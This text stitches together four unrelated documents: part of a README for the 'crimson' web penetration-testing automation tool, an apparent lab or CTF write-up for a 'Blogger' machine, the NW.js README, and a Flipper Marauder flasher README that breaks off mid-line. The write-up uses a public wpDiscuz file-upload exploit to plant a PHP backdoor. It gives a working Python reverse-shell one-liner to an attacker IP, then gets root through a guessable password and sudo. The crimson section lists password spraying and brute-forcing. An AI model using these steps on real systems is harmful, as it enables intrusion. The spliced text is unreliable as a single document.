most optimal use: c_2 -d "DOMAIN" -c "Cookie: auth1=123;" -a -v -h # Then check urls.txt and use crimson_backuper manually on selected URLs to save time: python "/root/tools/crimson/scripts/crimson_backuper.py" -w urls.txt -e "/root/tools/crimson/words/BCK_EXT" -c "$cookie" -o backups.txt ``` ```bash crimson_target -d "example.domain.com" # Optional flags are shown below: -c "Cookie: auth1=123;" -j "burp.collaborator.domain" # SSRF check with quickpress -v # Virtual host discovering -a # Without this flag, you have to check for false-positives after brute-forcing manually -y # Proxy urls.txt and ffuf.txt to Burp (host.docker.internal:8080) -p # Parameter brute-forcing with Arjun (WARNING - it takes a lot of time, better use Burp Param Miner) -h # Test HOP-BY-HOP header deletion at the end -b # Check backup files on all live URLs (status code != 404) # Can take a few hours... -n # Use this option to skip the directory brute-forcing phase -k # Test HTTP inseated of HTTPS ``` * Check the [MEDIUM ARTICLE](https://karol-mazurek95.medium.com/crimson-appsec-firearm-ii-ef37cbff7ac3), which explains the `crimson_target` module deeper. ## :diamonds: crimson_exploit :diamonds: #### :diamonds: The third module needs two files in the current directory, `dirs.txt` and `paramst.txt`. These files are created by the `crimson_target` module in the exp directory :diamonds: ```bash # The most optimal use - go to "exp" directory and run: c_3 -d "BURP_DOMAIN" -i "VPS_IP" ``` ```bash Usage: prepare two files in the current directory and use the crimson_exploit command: [*] dirs.txt - file with directories to check: https://target/directory1/ https://target/directory2/ https://target/ [*] params.txt - file with parameters to check: https://target/example?a=1b=2 https://target?param=asd # Optional flags are shown below: -c "Cookie: auth1=123;" -i 123.123.123.123 # IP for OAST testing - run the below commands on the VPS server # > start: sudo tcpdump -i eth0 icmp # > start: sudo python3 -m http.server 80 -d domain.burp.com # DOMAIN for OAST testing # > You can use Burp collaborator server -x "/root/wordlist"# Fuzzing all.txt with a given wordlist # > Use '' for a default one /root/tools/crimson/words/bug -n # Turn on NUCLEI scan on all URLs -o # Test open redirection vulnerabilities on all URLs ``` #### :diamonds: Before starting third module, run the listener on your vps machine on port 80 `python -m http.server 80` and for ping payloads `tcpdump -i eth0 icmp` :diamonds: * Check the [MEDIUM ARTICLE](https://karol-mazurek95.medium.com/crimson-appsec-firearm-iii-80f9b40e0dad), which explains the `crimson_exploit` module deeper. # Usage - modules description <p align="center"> <img src="crimson_map.jpg" /> </p> #### :small_red_triangle_down: [] crimson_IPcon > Module for initial testing of the infrastructure using only IP addresses. Useful before starting Nessus. ```bash ## FUNCTIONS: # # 1. PING SWEEP # 2. PORT SCANNING (TCP & UPD) # 3. HOSTNAME ENUMERATION # 4. ENUM4LINUX # 5. USER ENUM - if 88 open # 6. AREPROAST CHECK - if 88 open # 7. PASS SPRAYING - using username as a password with the below combinations: # - user # - USER # - User # - null (no password) # 8. NSE SCAN # 9. NUCLEI SCAN # 10. SSH AUDIT # 11. MISCONFIGURED SPF & DMARC # 12. BRUTEFORCING (Brutespray + Kerbrute) # ## LISTS (output): # # 1. ping_sweep.txt - List of IP that responds to ICMP packets # 2. crimson_{IPADDRESS}/ - Directory with the results for the given IP ADDRESS # 3. *.png - Screenshots of the main page from the nuclei scan for the web services # 4. discovery_scan. - Port scan with banners (-sV) # 5. enum4linux.txt - Output from enum4linux and CME # 6. hostnames.txt - Hostnames from the hosthunter # 7. users.txt - Users from Kerberos user enum # 8. nse_scan - Output from nmap vulnerability scan # 9. nuclei.txt - Output from nuclei scan # 10. ssh-audit.txt - Output from SSH scans # 11. spf_dmarc.txt - Misconfigured spf & dmarc records # 12. kerbrute_valid_creds.txt - Valid credentials from password spraying Kerberos # 13. kerbrute_bruteforce.txt - Valid credentials from brute-forcing Kerberos # 13. brutespray-output/ - Directory with brutespray output # ## WORKFLOW # # 1. Start the script # 2. If any hostnames is resolved, you can further enumerate it using crimson_recon # 3. Check the output. # ## ``` #### :small_red_triangle_down: [I] crimson_recon > Subdomain enumeration and vulnerability scanning for big scope like: `*.scope.com`. ```bash ## FUNCTIONS: # # 1. SUBDOMAIN ENUMERATION # 2. VIRTUAL HOSTNAMES ENUMERATION # 3. RESOLVING DOMAINS IP ADDRESSES # 4. URLS SCRAPING # 5. SCREENSHOTS # 6. DOMAIN TAKEOVER CHECK # 7 CORS CHECK # 8. NUCLEI SCAN # 9. LOG4J SCAN # 10.ZONE TRANSFER CHECK # ## LISTS (output): # # 1. live.txt - LIVE SUBDOMAINS # 2 status_live.txt - STATUS CODE OF HTTP SERVICES FROM (80/443) live.txt # 3 hosthunter.txt - VIRTUAL HOSTNAMES # 4 ip.txt - IPs AND THE CORRESPONDING DOMAINS # 5 urls.txt - ALL CRAWLED AND LIVE URLS IN ONE FILE # 6 status_live.txt - HTTPS / HTTPS SUBDOMAINS STATUS CODES # 7. screenshots - STATUS CODES + SCREENS # 8. subjack.txt - [VULN] DOMAIN TAKEOVER ON ALL LIVE SUBDOMAINS # 9. cors_scan.txt - [VULN] MISCONFIGURED CORS # 10. nuclei.txt - [VULN] TEMPLATE SCAN # 11. log4j.txt - [VULN] LOG4J VULN SCAN # 12. dnsrecon.txt - [VULN] ZONE TRANSFER # ## WORKFLOW # # 1. Start Burp Suite # - Create a new project - example.tld # - Turn off an interception # 2. Start this script. # 3. Check the output listed above (LISTS) # 4. Select the single domain and start the crimson_target module # ## ``` #### :small_red_triangle_down: [II] crimson_target > This module covers one particular subdomain/domain for example : `www.scope.tld`. ```bash ## FUNCTIONS: # 1. PARSING robots.txt AND sitemap.xml # 2. ENUMERATING WAF # 3. ENUMERATING FRAMEWORKS & CMS # 2. VULNERABILITY SCANNING # 3. DOMAIN CRAWLING # 4. DIRECTORY BRUTEFORCING # 5. GATHERING SOURCE CODE OF JS FILES # 6. EXTRACTING NEW ENDPOINTS FROM GATHERED SOURCE CODE # 7. MERGING PATHS WITH DOMAIN AND PROBING FOR NEW ENDPOINTS # 8. PROXYING LIVE RESULTS TO BURP SUITE # 9. PREPARING params.txt && dirs.txt FOR EXPLOIT MODULE # 10. CHECKING POTENTIAL BACKUP FILES # 11. TESTING HOP-BY-HOP DELETION # ## LISTS: # # 1) recon.txt - FILE WITH RECON OUTPUT # 2) urls.txt - FILE WITH GATHERED URLs # 3) status_params.txt - STATUS CODES OF urls.txt # 4) ffuf.txt - DIR BRUTEFORCING OUTPUT # 5) status_dir.txt - STATUS CODE OF ffuf.txt # 6) exp/params.txt - FILE PREPARED FOR crimson_exploit WITH PARAMS # 7) exp/dirs.txt - FILE PREPARED FOR crimson_exploit WITH DIRECTORIES # 8) backups.txt - POTENTIALLY BACKUP FILES # 9) arjun.txt - FILE WITH BRUTEFORCED PARAMETERS # 10) all_source_code/ - DIRECTORY WITH JS SOURCE CODES # 11) testssl.txt - OUTPUT FROM testssl # 12) jwt.txt - OUTPUT FROM jwt_tool # 13) wp/ - DIRECTORY WITH OUTPUT FROM WordPress tools # ## WORKFLOW # # 0. Start Burp - optional step # - Create new project - www.example.tld # - Turn off an interception # - Make active scan for proxied URLs only in scope # 1. Start the script # - If you did not choose -a flag, go to /bounty/tested.domain.tld/temp and remove manually false positives entries in ferox.txt # 2. Check the output listed above (LISTS) # 3. Manually browse the application, click on all functionalities # 4. Copy the whole target scope from Burp after manually browsing the target # 5. Paste it to exp/all.txt and run crimson_exploit # ## ``` #### :small_red_triangle_down: [III] crimson_exploit > This module uses several tools to automate the search for certain bugs in a list of URLs. ```bash ## FUNCTIONS: # # 1. FUZZING PATHS IN URLS FROM dirs.txt WITH CUSTOM PAYLOADS # 2. FUZZING PARAMS IN URLS FROM params.txt WITH CUSTOM PAYLOADS # 3. TESTING FOR XSS # 4. TESTING HTTP REQUEST SMUGGLING # 5. TESTING PROTOTYPE POLLUTION # 6. TESTING FOR BROKEN LINKS # 7. TESTING SQLI # 8. TESTING OUT-OF-BOUND RCE/SSRF # 9. TESTING JAVA DESERIALIZATION # 10. TESTING CRLF INJECTION # 11. TESTING FOR OPEN REDIRECTION # 12. TESTING CVES # 13. TESTING HEADER INJECTIONS # ## LISTS: # # 1. bug_params.txt - Fuzzing output # 2. bug_dirs.txt - Fuzzing output # 3. vuln_xss - Output from XSSstrike with vulnerable URLs ready to open in browser # 4. nuclei.txt - Output from nuclei scanning # 5. smuggler.txt - Output after testing for HTTP request smuggling. # 6. prototype-pollution.txt- Potentially vulnerable params to prototype pollution. # 7. broken_links.txt - Output from BLC # 8. sqli/ - Output from sqlmap # 9. oob.txt - Log after OAST # 10. CRLF.txt - Output from crlfuzz # 11. OR.txt - Potentially vulnerable URLs to Open Redirect vulnerability # 12. dalfox.txt - Output from dalfox # 13. SSTI.txt - Output from crimson_templator with SSTI vulnerable urls. # 14. SSTImap.txt - Output from SSTImap # 15. headi.txt - Output from headi # ## WORKFLOW # # 0. Start BURP - optional step # - Create new project - www.example.tld # - Turn off an interception # 1. Start VPS listener and collaborator server # 2. Start the script # - You will be asked to remove false positives from exp/dirs.txt and exp/params.txt # - Remove them and rerun the script as before. # 3. Check the output listed above (LISTS) # 4. Look for [ID] [TIME] in oob.txt and compare it to pings on your VPS / collaborator # ## ``` # Extras > There are some valuable tools in the scripts directory that I have written that are worth checking out. # Contributing > Pull requests are welcome. Please open an issue to discuss what you want to change for significant changes. # List of utilized tools > The following tools are used in `crimson`. I encourage you to study the links below. They will help you in your work. > Especially check `Burp Suite extensions` because all gathered resources are proxied to Burp Suite, where they are further tested. ### :diamonds: OSINT: * [spiderfoot](https://github.com/smicallef/spiderfoot.git) * [theHarvester](https://github.com/laramies/theHarvester.git) ### :diamonds: IP && ports: * [nmap](https://github.com/nmap/nmap) * [masscan](https://github.com/robertdavidgraham/masscan) * [rustscan](https://github.com/RustScan/RustScan.git) * [enum4linux](https://github.com/cddmp/enum4linux-ng.git) * [KERBRUTE](https://github.com/ropnop/kerbrute) * [SSH-AUDIT](https://github.com/jtesta/ssh-audit) * [BruteSpray](https://github.com/x90skysn3k/brutespray) ### :diamonds: Domains enumeration: * [Amass](https://github.com/OWASP/Amass) * [subfinder](https://github.com/projectdiscovery/subfinder) * [massdns](https://github.com/blechschmidt/massdns) * [dnsx](https://github.com/projectdiscovery/dnsx) * [assetfinder](https://github.com/tomnomnom/assetfinder) * [puredns](https://github.com/d3mondev/puredns) * [sudomy](https://github.com/Screetsec/Sudomy) * [altdns](https://github.com/infosec-au/altdns) * [HostHunter](https://github.com/SpiderLabs/HostHunter/) * [mailspoof](https://github.com/serain/mailspoof) * [dns-wildcard-removal](https://github.com/faizal3199/dns-wildcard-removal) * [DNSRecon](https://github.com/darkoperator/dnsrecon) ### :diamonds: URLs: * [waybackurls](https://github.com/tomnomnom/waybackurls) * [Paramspider](https://github.com/devanshbatham/ParamSpider) * [getallurls](https://github.com/lc/gau) * [wfuzz](https://github.com/xmendez/wfuzz) * [ffuf](https://github.com/ffuf/ffuf) * [feroxbuster](https://github.com/epi052/feroxbuster) * [sitemap-urls](https://github.com/yuriyyakym/sitemap-urls) * [gospider](https://github.com/jaeles-project/gospider) * [hakrawler](https://github.com/hakluke/hakrawler) * [galer](https://github.com/dwisiswant0/galer) * [getJS](https://github.com/003random/getJS) * [httpx](https://github.com/encode/httpx) * [zile](https://github.com/Karmaz95/crimson/tree/master/scripts/zile) * [crimson_backuper](https://github.com/Karmaz95/crimson/blob/master/scripts/crimson_backuper.py) * [cariddi](https://github.com/edoardottt/cariddi) ### :diamonds: Target visualisation: * [WhatWeb](https://github.com/urbanadventurer/WhatWeb) * [gowitness](https://github.com/sensepost/gowitness) * [wafw00f](https://github.com/EnableSecurity/wafw00f) * [Ultimate Nmap Parser](https://github.com/shifty0g/ultimate-nmap-parser) ### :diamonds: Bug finding: * [nikto](https://github.com/sullo/nikto) * [CorsMe](https://github.com/Shivangx01b/CorsMe) * [subjack](https://github.com/haccer/subjack) * [XSStrike](https://github.com/s0md3v/XSStrike) * [Smuggler](https://github.com/defparam/smuggler) * [hbh-header-abuse-test](https://gist.github.com/ndavison/298d11b3a77b97c908d63a345d3c624d) * [broken-link-checker](https://github.com/stevenvachon/broken-link-checker) * [sqlmap](http://sqlmap.org/) * [CRLFuzz](https://github.com/dwisiswant0/crlfuzz) * [ysoserial](https://github.com/frohoff/ysoserial) * [ysoserial.net](https://github.com/frohoff/ysoserial) * [jwt-tool](https://github.com/ticarpi/jwt_tool) * [dalfox](https://github.com/hahwul/dalfox) * [testssl.sh](https://testssl.sh/) * [crimson_templator](https://github.com/Karmaz95/crimson/blob/master/scripts/crimson_templator.py) * [nuclei](https://github.com/projectdiscovery/nuclei) * [headi](https://github.com/mlcsec/headi) * [codeql](https://github.com/github/codeql-cli-binaries) * [semgrep](https://semgrep.dev/) * [gmapiscanner](https://github.com/ozguralp/gmapsapiscanner.git) * [log4j-scan](https://github.com/fullhunt/log4j-scan) * [GOAST](https://github.com/Karmaz95/crimson/tree/master/scripts/GOAST) * [CMSEEK](https://github.com/Tuhinshubhra/CMSeeK) * [PLUTION](https://github.com/raverrr/plution) * [SSTIMAP](https://github.com/vladko312/SSTImap.git) * [INQL](https://github.com/doyensec/inql.git) ### :diamonds: WordPress tools: * [wpscan](https://github.com/wpscanteam/wpscan) * [WPluginScanner](https://github.com/linoskoczek/WPluginScanner) * [quickpress](https://github.com/pownx/quickpress) * [wpBullet](https://github.com/webarx-security/wpbullet) ### :diamonds: Additional tools: * [qsreplace](https://github.com/tomnomnom/qsreplace) * [anew](https://github.com/tomnomnom/anew.git) * [unfurl](https://github.com/tomnomnom/unfurl) * [Search-That-Hash](https://github.com/HashPals/Search-That-Hash) * [clever_ffuf](https://github.com/Karmaz95/crimson/blob/master/scripts/clever_ffuf.py) * [crimson_opener](https://github.com/Karmaz95/crimson/tree/master/scripts/crimson_opener) * [crimson_paramjuggler](https://github.com/Karmaz95/crimson/blob/master/scripts/crimson_paramjuggler.py) * [tldextract](https://pypi.org/project/tldextract/) * [PyWhat](https://github.com/bee-san/pyWhat) * [Ciphey](https://github.com/Ciphey/Ciphey) ### :diamonds: Wordlists: * [SecLists](https://github.com/danielmiessler/SecLists) * [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) * [fresh-resolvers](https://raw.githubusercontent.com/BonJarber/fresh-resolvers/) ### :diamonds: Burp Suite extensions: * [.NET Beautifier](https://github.com/portswigger/dotnet-beautifier) * [403 Bypasser](https://github.com/portswigger/403-bypasser) * [AWS Security Checks](https://github.com/portswigger/aws-security-checks) * [ActiveScan++](https://github.com/portswigger/active-scan-plus-plus) * [Anonymous Cloud, Configuration and Subdomain Takeover Scanner](https://github.com/portswigger/anonymous-cloud) * [Asset Discovery](https://github.com/portswigger/asset-discovery) * [Auth Analyzer](https://github.com/portswigger/auth-analyzer) * [Backslash Powered Scanner](https://github.com/portswigger/backslash-powered-scanner) * [Backup Finder](https://github.com/portswigger/backup-finder) * [Burp Bounty Pro](https://burpbounty.net/) * [CORS*, Additional CORS Checks](https://github.com/portswigger/additional-cors-checks) * [CSP Auditor](https://github.com/portswigger/csp-auditor) * [CSRF Scanner](https://github.com/portswigger/csrf-scanner) * [Cloud Storage Tester](https://github.com/portswigger/cloud-storage-tester) * [Collaborator Everywhere](https://github.com/portswigger/collaborator-everywhere) * [Copy As Python-Requests](https://github.com/portswigger/copy-as-python-requests) * [Cypher Injection Scanner](https://github.com/portswigger/cypher-injection-scanner) * [Detect Dynamic JS](https://github.com/portswigger/detect-dynamic-js) * [Error Message Checks](https://github.com/portswigger/error-message-checks) * [ExifTool Scanner](https://github.com/portswigger/exiftool-scanner) * [Freddy, Deserialization Bug Finder](https://github.com/portswigger/freddy-deserialization-bug-finder) * [HTML Auditor](https://github.com/portswigger/html5-auditor) * [HTTP Request Smuggler](https://github.com/portswigger/http-request-smuggler) * [HTTPoxy Scanner](https://github.com/portswigger/httpoxy-scanner) * [Hackvertor](https://github.com/portswigger/hackvertor) * [InQL - Introspection GraphQL Scanner](https://github.com/portswigger/inql) * [J2EEScan](https://github.com/portswigger/j2ee-scan) * [JS Link Finder](https://github.com/portswigger/js-link-finder) * [JS Miner](https://github.com/portswigger/js-miner) * [JSON Web Token Attacker](https://github.com/portswigger/json-web-token-attacker) * [JSON Web Tokens](https://github.com/portswigger/json-web-tokens) * [JWT Editor](https://github.com/portswigger/jwt-editor) * [JWT heartbreaker](https://github.com/wallarm/jwt-heartbreaker/releases/tag/0.1) * [Java Deserialization Scanner](https://github.com/portswigger/java-deserialization-scanner) * [Log4Shell Scanner](https://github.com/portswigger/log4shell-scanner) * [meth0dman](https://github.com/portswigger/meth0d-man) * [NGINX Alias Traversal](https://github.com/portswigger/nginx-alias-traversal) * [NoSQLi Scanner](https://github.com/portswigger/nosqli-scanner) * [OAuth Scan](https://github.com/portswigger/oauth-scan) * [PHP Object Injection Check](https://github.com/portswigger/php-object-injection-check) * [Param Miner](https://github.com/portswigger/param-miner) * [pMDetector](https://github.com/Karmaz95/crimson/blob/master/scripts/BURP/PostMessageDetector.py) * [Reflected Parameters](https://github.com/portswigger/reflected-parameters) * [Retire.js](https://github.com/portswigger/retire-js) * [SRI Check](https://github.com/portswigger/sri-check) * [SSL Scanner](https://github.com/portswigger/ssl-scanner) * [SameSite Reporter](https://github.com/portswigger/samesite-reporter) * [SAML Raider](https://github.com/portswigger/saml-raider) * [Similar Request Excluder](https://github.com/portswigger/similar-request-excluder) * [Software Version Reporter](https://github.com/portswigger/software-version-reporter) * [Software Vulnerability Scanner](https://github.com/portswigger/software-vulnerability-scanner) * [Taborator](https://github.com/portswigger/taborator) * [Turbo Intruder](https://github.com/portswigger/turbo-intruder) * [UploadScanner](https://github.com/portswigger/upload-scanner) * [Web Cache Deception Scanner](https://github.com/portswigger/web-cache-deception-scanner) # HISTORY > If you are curious how it all started: * [Medium article](https://karol-mazurek95.medium.com/automation-of-the-reconnaissance-phase-during-web-application-penetration-testing-i-574fd9dce53e) - `crimson_recon` * [Medium article](https://karol-mazurek95.medium.com/automation-of-the-reconnaissance-phase-during-web-application-penetration-testing-ii-4336bd4ca73b?sk=ba289442112704cd71ac4a89e994fc8c) - `crimson_target` * [Medium article](https://karol-mazurek95.medium.com/automation-of-the-reconnaissance-phase-during-web-application-penetration-testing-iii-2823b16f38cc) - `crimson_exploit` # LICENSE > This program is free software: you can redistribute it and/or modify it under the terms of the [Apache license](https://choosealicense.com/licenses/apache-2.0/). Crimson and any contributions are Copyright © by Karol Mazurek 2020-2022. # SUPPORT > You can support the project by buying me a coffee or via [NFT](https://opensea.io/assets/matic/0x2953399124f0cbb46d2cbacd8a89cf0599974963/63545429842149574507305116647116186975620361263604520406486432940112228647212/) which unlock the secret Crimson Web community. <a href="https://www.buymeacoffee.com/karmaz95" target="_blank"><img src="https://cdn.buymeacoffee.com/buttons/v2/default-red.png" alt="Buy Me A Coffee" style="height: 60px !important;width: 200px !important;" ></a>
### IP `192.168.211.217` # Reconnaissance ### nmap `nmap -sC -sV 192.168.211.217` ``` 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 951d828f5ede9a00a80739bdacadd344 (RSA) | 256 d7b452a2c8fab70ed1a8d070cd6b3690 (ECDSA) |_ 256 dff24f773344d593d77917455aa1368b (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Blogger | Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` ### gobuster `gobuster dir -u http://192.168.211.217/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100` ``` =============================================================== Gobuster v3.3 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.211.217/ [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.3 [+] Timeout: 10s =============================================================== 2023/05/08 22:48:01 Starting gobuster in directory enumeration mode =============================================================== /assets (Status: 301) [Size: 319] [--> http://192.168.211.217/assets/] /css (Status: 301) [Size: 316] [--> http://192.168.211.217/css/] /js (Status: 301) [Size: 315] [--> http://192.168.211.217/js/] /images (Status: 301) [Size: 319] [--> http://192.168.211.217/images/] /server-status (Status: 403) [Size: 280] =============================================================== 2023/05/08 22:50:46 Finished =============================================================== ``` The directories seem to have directory listing enabled. One particularly interesting directory is `/assets/fonts/`, as it has a blog directory with a whole new website (which is quite unusual) Here, we can see a wordpress blog with a login form. Some of the pages also leak the hostname as `blogger.thm` # Exploitation ### wpscan We can enumerate wordpress: `wpscan --url http://blogger.thm/assets/fonts/blog --plugins-detection mixed -e` One thing this finds is that there is unauthenticated file upload through the comments (and thus RCE since we can view and execute php files in the uploads) ``` [!] Title: Comments - wpDiscuz 7.0.0 - 7.0.4 - Unauthenticated Arbitrary File Upload Fixed in: 7.0.5 References: - https://wpscan.com/vulnerability/92ae2765-dac8-49dc-a361-99c799573e61 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24186 - https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/ - https://plugins.trac.wordpress.org/changeset/2345429/wpdiscuz ``` We can run `searchsploit wpDiscuz` and then `searchsploit -m php/webapps/49967.py` to get a script to use for unauthenticated RCE Per the exploit, I do the following to get a php backdoor on the page: `python3 49967.py -u http://blogger.thm/assets/fonts/blog -p /?p=29` This provides us a link to a php file where we can execute commands through a `cmd` get parameter I set up a listener with `nc -lvnp 1337` and used the following command to get a reverse shell: `python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("192.168.45.5",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'` I then ran `linpeas.sh` to look for exploits, but couldn't find much. However, I found that the `vagrant` user had its own username as a password, which was a suggestion made by linpeas. # Privilege Escalation Running `sudo -l` on the vagrant user shows us the following: ``` Matching Defaults entries for vagrant on ubuntu-xenial: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User vagrant may run the following commands on ubuntu-xenial: (ALL) NOPASSWD: ALL ``` Vagrant can run all commands as all users without a password. Thus, we can run `sudo su` to become root and get the root flag
## node-webkit is renamed NW.js [![Gitter](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/nwjs/nw.js?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) Official site: https://nwjs.io ## Introduction NW.js is an app runtime based on `Chromium` and `node.js`. You can write native apps in HTML and JavaScript with NW.js. It also lets you call Node.js modules directly from the DOM and enables a new way of writing native applications with all Web technologies. It was created in the Intel Open Source Technology Center. [Building a Cross-platform Desktop App with NW.js](https://www.sitepoint.com/cross-platform-desktop-app-nw-js/) [Creating Desktop Applications With node-webkit](https://strongloop.com/strongblog/creating-desktop-applications-with-node-webkit/) [WebApp to DesktopApp with node-webkit (slides)](http://oldgeeksguide.github.io/presentations/html5devconf2013/wtod.html) [Essay on the history and internals of the project](http://yedingding.com/2014/08/01/node-webkit-intro-en.html) ## Features * Apps written in modern HTML5, CSS3, JS and WebGL. * Complete support for [Node.js APIs](https://nodejs.org/api/) and all its [third party modules](https://www.npmjs.com/). * Good performance: Node and WebKit run in the same thread: Function calls are made straightforward; objects are in the same heap and can just reference each other. * Easy to package and distribute apps. * Available on Linux, Mac OS X and Windows. ## Downloads * **v0.78.1:** (Jul 30, 2023, based off of Node.js v20.5.0, Chromium 115.0.5790.114) : [release notes](https://nwjs.io/blog/v0.78.1/) **NOTE** You might want the **SDK build**. Please read the release notes. * Linux: [32bit](https://dl.nwjs.io/v0.78.1/nwjs-v0.78.1-linux-ia32.tar.gz) / [64bit](https://dl.nwjs.io/v0.78.1/nwjs-v0.78.1-linux-x64.tar.gz) * Windows: [32bit](https://dl.nwjs.io/v0.78.1/nwjs-v0.78.1-win-ia32.zip) / [64bit](https://dl.nwjs.io/v0.78.1/nwjs-v0.78.1-win-x64.zip) * Mac 10.10+: [64bit](https://dl.nwjs.io/v0.78.1/nwjs-v0.78.1-osx-x64.zip) * Use [Legacy build](http://nwjs.io/downloads/) for Win XP and early OSX. * **latest nightly build from git tip**: https://dl.nwjs.io/live-build/ * [Previous versions](https://dl.nwjs.io); See [the mapping file](https://nwjs.io/versions.json) for the version info in previous releases. ### Demos and real apps You may also be interested in [our demos repository](https://github.com/zcbenz/nw-sample-apps) and the [List of apps and companies using nw.js](https://github.com/nwjs/nw.js/wiki/List-of-apps-and-companies-using-nw.js). ## Quick Start Create `index.html`: ```html <!DOCTYPE html> <html> <head> <title>Hello World!</title> </head> <body> <h1>Hello World!</h1> We are using node.js <script>document.write(process.version)</script>. </body> </html> ``` Create `package.json`: ```json { "name": "nw-demo", "version": "0.0.1", "main": "index.html" } ``` Run: ```bash $ /path/to/nw . (suppose the current directory contains 'package.json') ``` Note: on Windows, you can drag the folder containing `package.json` to `nw.exe` to open it. Note: on OSX, the executable binary is in a hidden directory within the .app file. To run node-webkit on OSX, type: `/path/to/nwjs.app/Contents/MacOS/nwjs .` *(suppose the current directory contains 'package.json')* ## Documents Official documentation: http://docs.nwjs.io/ For more information on how to write/package/run apps, see: * [How to run apps](https://github.com/nwjs/nw.js/wiki/How-to-run-apps) * [How to package and distribute your apps](https://github.com/nwjs/nw.js/wiki/How-to-package-and-distribute-your-apps) * [How to use Node.js modules in node-webkit](https://github.com/nwjs/nw.js/wiki/Using-Node-modules) And our [Wiki](https://github.com/nwjs/nw.js/wiki) for much more. ## Community We use the [google group](https://groups.google.com/d/forum/nwjs-general) as our mailing list (use English only). Subscribe via [[email protected]](mailto:[email protected]). *NOTE*: Links to the old google group (e.g. `https://groups.google.com/forum/#!msg/node-webkit/doRWZ07LgWQ/4fheV8FF8zsJ`) that are no longer working can be fixed by replacing `node-webkit` with `nwjs-general` (e.g `https://groups.google.com/forum/#!msg/nwjs-general/doRWZ07LgWQ/4fheV8FF8zsJ`). Issues are being tracked here on GitHub. The source code for NW.js and the daily development spans multiple repositories in this organization. This repository is for issue tracking, landing page, and part of the source code. ### Verifying Binaries Starting from 0.32.0 the stable and nightly download directories contain a SHASUMS256.txt file that lists the SHA checksums for each file available for download, as well as the checksums for the files inside the download package. The SHASUMS256.txt can be downloaded using `curl`. ```console $ curl -O https://dl.nwjs.io/vx.y.z/SHASUMS256.txt ``` To check that a downloaded file matches the checksum, run it through `sha256sum` with a command such as: ```console $ grep nwjs-vx.y.z.tar.gz SHASUMS256.txt | sha256sum -c - ``` The stable releases (but not Nightlies) also have the GPG detached signature of SHASUMS256.txt available as SHASUMS256.txt.asc. You can use `gpg` to verify that SHASUMS256.txt has not been tampered with. To verify SHASUMS256.txt has not been altered, you will first need to import the GPG key of NW.js maintainer to create releases. Use this command to import the key: ```console $ gpg --keyserver pool.sks-keyservers.net --recv-keys 78680FA9E21BB40A ``` ``` (Key fingerprint is 1E8B EE8D 5B0C 4CBC D6D1 9E26 7868 0FA9 E21B B40A) ``` Next, download the SHASUMS256.txt.asc for the release: ```console $ curl -O https://dl.nwjs.io/vx.y.z/SHASUMS256.txt.asc ``` After downloading the appropriate SHASUMS256.txt and SHASUMS256.txt.asc files, you can then use `gpg --verify SHASUMS256.txt.asc SHASUMS256.txt` to verify that the file has been signed by an authorized member of the NW.js team. Once verified, use the SHASUMS256.txt file to get the checksum for the binary verification command above. ## License `NW.js`'s code in this repo uses the MIT license, see our `LICENSE` file. To redistribute the binary, see [How to package and distribute your apps](https://github.com/nwjs/nw.js/wiki/How-to-package-and-distribute-your-apps)
# Quick and easy flasher/updater for [Marauder](https://github.com/justcallmekoko/ESP32Marauder) (Devboard/WROOM)! Looking for a Linux/Mac version? [Check out SkeletonMan's Python edition!](https://github.com/SkeletonMan03/FZEasyMarauderFlash) (WIP for Windows too including full automated downloads.) Or do you want to flash from the Flipper without a computer at all? [Cococode (aka 0xchocolate) has you covered](https://github.com/0xchocolate/flipperzero-esp-flasher).<br> Looking for the files you need or a video walkthrough? [TalkingSasquach has you covered](https://github.com/UberGuidoZ/Flipper/blob/main/Wifi_DevBoard/ReadMe.md#esp32-flasher-from-flipper)... Looking for a quick video walkthrough on how to use this flasher? [Thanks to Lab401.com, you're in luck](https://www.youtube.com/watch?v=um_acrDaBK4)!<br> Or if you'd rather have a quick rundown of using the Flipper Application, check out [this summary from haxez.org](https://haxez.org/2022/11/marauding-wi-fi-networks-with-the-flipper-zero/). ![Flasher_SS](https://github.com/UberGuidoZ/Flipper/assets/57457139/b6069d3b-856a-4d64-928e-82810d402803) ## Now it's as easy as 1, 2, 3 to install or update Marauder on Windows. 1. Download and extract [the ZIP file](https://github.com/UberGuidoZ/Flipper/raw/main/Wifi_DevBoard/FZ_Marauder_Flasher/FZ_Marauder_v2.3.zip) above to the same directory.<br> 2. Hold `BOOT` on the devboard and plug it into your PC directly via USB.<br> 3. Double-click `flash.bat` from the extracted files then choose `Flash` or `Update`. * If you choose `Flash Marauder` the script will locate your board and flash Marauder automatically!<br> * If you choose `Update Marauder` you'll be taken to the Marauder download location to grab a new version.<br> (Simply download the Flipper BIN file, stick it in the Marauder subfolder by the batch file, and delete the old BIN.)<br> * If you choose `Save Flipper Blackmagic WiFi settings` your current Blackmagic configuration will be saved.<br> * If you choose `Flash Flipper Blackmagic` the script will flash the updated v0.1.1 Blackmagic firmware. Current Marauder version included in the ZIP: v0.11.0-RC3-20230727 (current release as of July 27, 2023) **Once the install has completed, [head over here](https://github.com/UberGuidoZ/Flipper/tree/main/Wifi_DevBoard#marauder-install-information) to learn more about what Marauder can do!** The [batch file](https://github.com/UberGuidoZ/Flipper/blob/main/Wifi_DevBoard/FZ_Marauder_Flasher/Flash-v2.3.bat) is also included above for review and to track coming changes. Acknowledgements:<br> * 